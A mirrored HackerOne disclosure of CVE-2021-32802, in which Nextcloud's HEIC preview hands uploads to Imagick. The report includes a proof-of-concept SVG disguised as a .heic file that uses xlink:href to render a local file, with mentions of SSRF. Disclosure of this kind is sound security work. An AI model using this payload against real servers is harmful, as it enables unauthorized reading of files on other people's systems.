Skip to content
File upload Disclosed report Intermediate CVE-2021-32802

HEIC image preview can be used to invoke Imagick

lukasreschkenc Follow

Originally disclosed on HackerOne

Critical View original
  • Triaged in under an hour
  • Fixed in 7 days
  • Disclosed after 18 months

The HEIC image preview provider calls into Imagick at https://github.com/nextcloud/server/blob/5d097ddb4b99673f57b8c085dedd93880ee2539d/lib/private/Preview/HEIC.php#L98-L109. This is bad as Imagick processes all kind of image types.

One can use this for example to exfiltrate arbitrary files by passing a SVG file that contains a xlink:href to a locally existing file. There are also other concerns with regard to SSRF and XML parsing done by Imagick.

A super naive example, uploading a file such as "test.heic" with this content will render the file "nextcloud20.png" inside it. (but you can also reference PDFs, or use it for SSRF, etc etc.

test.heic:

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg
   xmlns:svg="http://www.w3.org/2000/svg"
   xmlns="http://www.w3.org/2000/svg"
   xmlns:xlink="http://www.w3.org/1999/xlink"
   style="overflow: hidden; position: relative;"
   width="500"
   height="500">
    <image x="0" y="0" width="500" height="500" xlink:href="/Users/lukasreschke/Downloads/nextcloud20.png" stroke-width="1" id="image3204" />
</svg>

Preview:

Screenshot_2021-07-14_at_15.21.03.png
Screenshot_2021-07-14_at_15.21.03.png From the original on HackerOne

Impact

Gaining access to arbitrary files on the system, SSRF, etc.

The original report as published on HackerOne, by lukasreschkenc. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A critical-severity file upload bug in nextcloud/server. HackerOne made it public on 7 January 2023 as CVE-2021-32802.

About File upload

An upload feature accepts a file that the server or other users' browsers then treat as code or as something trusted.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is File upload?

An upload feature accepts a file that the server or other users' browsers then treat as code or as something trusted.

More by lukasreschkenc

View all

3 more disclosed reports, best first.

More from Nextcloud

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Unrestricted file upload

The lesson behind this report.

An upload feature accepts a file that the server or other users' browsers then treat as code or as something trusted.